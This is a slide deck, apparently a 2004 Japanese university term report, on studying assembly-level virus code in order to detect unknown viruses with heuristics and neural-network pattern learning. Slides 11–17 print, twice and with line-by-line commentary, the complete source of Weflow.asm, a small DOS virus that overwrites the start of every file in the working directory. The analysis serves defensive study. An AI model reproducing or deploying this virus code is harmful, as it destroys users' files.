1 / 28

2004 Fall. Term Report Immune Project

2004 Fall. Term Report Immune Project. Project Menber. 目次. Immune Project の目的(堀田) アセンブラの基礎(下江) アセンブラでのウイルス解析(堀田) ウイルス検出方法の調査(中井) 論文発表(田中) 展望(田中) 謝辞(中井) 質疑応答(全員). Immune Project の目的. ウイルスの巧妙化 ステルス型 ポリモフィック型 メタモフィック型 従来の検出手法 パターンマッチング ヒューリスティック手法 新しい手法の提案 アセンブラレベルでの解析

Download Presentation

2004 Fall. Term Report Immune Project

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. 2004 Fall. Term ReportImmune Project Project Menber

  2. 目次 • Immune Projectの目的(堀田) • アセンブラの基礎(下江) • アセンブラでのウイルス解析(堀田) • ウイルス検出方法の調査(中井) • 論文発表(田中) • 展望(田中) • 謝辞(中井) • 質疑応答(全員)

  3. Immune Projectの目的 • ウイルスの巧妙化 • ステルス型 • ポリモフィック型 • メタモフィック型 • 従来の検出手法 • パターンマッチング • ヒューリスティック手法 • 新しい手法の提案 • アセンブラレベルでの解析 • パターン学習による解析

  4. アセンブラの基礎 • アセンブラ言語とは? • アセンブリ言語の表し方 • マシン語命令群その1 • その2 • その3

  5. アセンブラとは? • アセンブリ言語はプログラミング言語の一種 • コンピューターが唯一理解できるのはマシン語だが、そのマシン語を人間に理解できるようにしたものがプログラミング言語。 • アセンブリ言語が他の言語と違う点 • javaやc言語など他の言語はマシン語と一対一に対応していないが、アセンブリ言語はマシン語と一対一に対応している。 • キーワード • ニーモニック • オペコード • オペランド

  6. アセンブリ言語の表し方 • ニーモニック • マシン語には一つ一つ記号が割り振られていて、その記号のことをニーモニックと呼ぶ。ex) mov al 02h • ニーモニックはオペコードとオペランドと呼ばれる二つの部分に分けることができる。 • オペコード(主命令) • データ転送やジャンプなどの命令を下す部分。 • 上記の例ではmov がそれにあたる。 • オペランド(対象となる相手、条件、パラメータ) • レジスタやアドレスなど命令の対象となる部分。上記の例ではal 02hがそれにあたり、このオペランドによって対応するマシン語が変わる。

  7. マシン語命令その1 • データ転送命令 • レジスタとメモリとの間でデータをやりとりのための命令 • 例 mov EAX 7E9675A1h (EAXレジスタに7E9675A1hをロード) • レジスタ→メモリのやりとりを「ストア」、メモリ→レジスタのやりとりを「ロード」という。 • 算術演算命令 • 四則演算や比較などをするための命令。結果がレジスタやメモリに転送される。さらに結果の状態(0や正負など)がフラグレジスタにセットされる。 • 例) add ax 0020h axの内容に0020hを加えるinc ax axの値をインクリメントするcmp eax 0030h eaxの内容と0030hを比較して 結果をフラグレジスタにセット

  8. マシン語命令その2 • ジャンプ命令 • プログラムの流れを変えるための命令。 • ジャンプ無条件と条件付きジャンプの2種類ある。 • 無条件ジャンプ • jmp アドレス指定 の形で表される。実行されるとオフセットアドレスが特定のレジスタにロードされ、ジャンプされる。 • 条件付きジャンプ • フラグレジスタの値を判定し、その結果によってジャンプの有無を決める。 • je アドレス指定 : ゼロフラグの値が1ならば指定した アドレスにジャンプ • cmp AX 005ah ja アドレス指定: 結果が大きければ指定したアドレスに ジャンプ

  9. その他のマシン語命令 • サブルーチンのコール・リターン • call サブルーチン名 • スタックのプッシュ・ポップ • push eax() • 論理演算命令 • or al 20h(alレジスタの内容とデータ20hのorをとる) • シフト・ローテート命令 • shl bl 1(blの内容を左に1つシフトする)

  10. アセンブラでのウイルス解析 • Weflow.asm • 1993年のVirus • TRIDENT OVERWRITING VIRUSがBaseになっている • OverWriting • 1992年のVirus • ウイルスと感染するファイルが実行されるたびに、このウイルスはホストファイルの最初64バイトをOver Writeすることによってワーキング・ディレクトリの.comファイルすべてを感染させる

  11. Weflow.asm (code) MAIN: MOV AH,4EH NOTSOCOOL: LEA DX,FF INT 21H JNC COOL RET COOL: MOV AX,3D02H MOV DX,9EH INT 21H XCHG AX,BX MOV CL,VLEN MOV AH,40H INT 21H MOV AH,3EH INT 21H MOV AH,4FH JMP NOTSOCOOL FF DB '*.*',0 DB 'WEFLOW93' VLEN EQU $-MAIN

  12. Weflow.asm (解説:MAIN) MOV AH,4EH • ahレジスタに4ehの指す内容を転送具体的にはahレジスタに対して初回ファイル検索を行うちなみに、この結果はCF(Cflag)の返り値を与えるCF = 0:成功CF = 1:エラー

  13. Weflow.asm (解説:NOTSOCOOL) LEA DX,FF INT 21H • dxレジスタに下で定義したFFのアドレスを転送このときAHの値は4Eもしくは4Fであれば、“初回ファイル検索”or“次回ファイル検索”で4Eの時のみ、DX=ファイル名を含む文字列ポインタを参照、4Fでは参照しない。検索結果はディスク転送アドレスに格納される 成功CF=0 失敗CF=1 JNC COOL RET • Cflagが降りているときに分岐する(降りているときはCOOLにまた、“RET”で実行していたものから戻ってくる(COOLから戻ってくる。さらに、ここでCF=1ならばプログラムは終了する

  14. Weflow.asm (解説:COOL.1) MOV AX,3D02H MOV DX,9EH INT 21H • AXレジスタを書き出し・読み込み双方対応できるようオープンする。DXレジスタに9eが指す内容を転送 XCHG AX,BX MOV CL,VLEN MOV AH,40H INT 21H • AXレジスタとBXレジスタの内容を入れ替えるCLにVLENの値を入れる(VLENは下で定義している)ahレジスタに書き込む

  15. Weflow.asm (解説:COOL.2) MOV AH,3EH INT 21H • ahレジスタで開いていたファイルをクローズする MOV AH,4FH • 次回ファイル検索を行う JMP NOTSOCOOL • 無条件でNOTSOCOOL(最初に規定した文字列ポインタ)の先に飛ぶ

  16. Weflow.asm (解説:FF・VLEN) DB '*.*',0 DB 'WEFLOW93‘ • 文字列をセットする EQU $-MAIN • VLENにMAINの大きさを入れるもの

  17. Weflow.asm (code) MAIN: MOV AH,4EH NOTSOCOOL: LEA DX,FF INT 21H JNC COOL RET COOL: MOV AX,3D02H MOV DX,9EH INT 21H XCHG AX,BX MOV CL,VLEN MOV AH,40H INT 21H MOV AH,3EH INT 21H MOV AH,4FH JMP NOTSOCOOL FF DB '*.*',0 DB 'WEFLOW93' VLEN EQU $-MAIN

  18. ウイルスの巧妙化 • ウイルスの巧妙化 • ステルス型 • ポリモフィック型 • プログラムコードを暗号化 • 暗号化鍵は感染の都度に変化 • 暗号化/複合化エンジン • メタモフィック型 • 感染するたびに自分自身のコードを書き換える • 様々な手法での隠匿の試み

  19. 従来のウィルスの検出 • 従来のウイルスの検出 • パターンマッチング • 文字列 • パターンの発生順序 • 特定のパターン同士の距離 ⇒対象となるウイルスのパターン定義ファイルの所持が前提また、時間がかかる。 • ヒューリスティック手法 • 問題をすばやく解決するための手法 • 大まかな予想からあたりをつけて検索する手法 • 動的ヒューリスティックと静的ヒューリスティックがある

  20. ヒューリスティック手法 • 静的ヒューリスティック • パターンのデータベース • ウィルスの複合化のルーチンを認識 • 動的ヒューリスティック • 仮想空間上でプログラムを動かす

  21. ヒューリスティック手法

  22. ヒューリスティック手法の問題点 • 問題をすばやく解決するための手法 ⇒検索部位とウイルスの存在する部位が違えばウイルスが発見できない ⇒完璧ではない

  23. アセンブラレベルでの解析 • ウィルスのコードを静的に逆アセンブル →従来のヒューリスティックパターンに、さらに細かいパターンを定義することができる

  24. 動的ヒューリスティック Unknown Virus ヒューリスティックスキャンのためのルール群データベース 挙動のパターン 様々な角度から挙動や命令群、アルゴリズムなどを比較 静的ヒューリスティック アセンブラ命令パターン アルゴリズムのパターン mov dword_3,6E72654Bh mov dword_4,32336C65h mov dword_5,0h push offset dword_3 call ds:[GetModuleHandleA]

  25. パターン学習による検出 • ニューラルネットワークを用いたパターン検出 • 学習結果に基づく分類判定 →さらに高い確率で未知ウィルスであると特定することができる

  26. 動的ヒューリスティック Unknown Virus ヒューリスティックスキャンのためのルール群データベース 新しい挙動パターンやアルゴリズム、命令の順序などがあればデータベースにパターンを学習させる 挙動のパターン 静的ヒューリスティック アセンブラ命令パターン アルゴリズムのパターン mov dword_3,6E72654Bh mov dword_4,32336C65h mov dword_5,0h push offset dword_3 call ds:[GetModuleHandleA]

  27. まとめ • アセンブリ言語に逆アセンブルしたコードからパターン抽出し、学習 →検出率の向上と誤検出・誤警報の減少

  28. 今後の展望 • 情報処理学会全国大会発表に向けて実装

More Related